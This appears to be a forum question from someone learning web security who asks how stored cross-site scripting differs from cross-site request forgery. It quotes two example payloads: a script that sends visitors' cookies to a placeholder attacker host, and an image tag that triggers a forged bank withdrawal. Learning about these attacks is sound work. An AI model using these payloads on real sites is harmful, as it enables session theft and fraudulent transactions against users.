Trying to create a thorough understanding of XSS and CSRF, i'm clear that a type 2 xss involves an exploit that is persistent on the server.
e.g.
<SCRIPT type="text/javascript">
new Image().src = 'http://www.attacker.com/evil.php?cookie=' + escape(document.cookie);
</SCRIPT>
If the above script is a part of a post in a forum that is vulnerable to xss, every user that visits the page will in turn send his cookie to attacker.com via evil.php.
How is this different from CSRF?
e.g. A post on a forum can be:- Eve: Hello Alice! Look here:
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=Eve">
It seems to me that in both cases, a remote url is invoked and both of them are persistent on the server.
References:
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29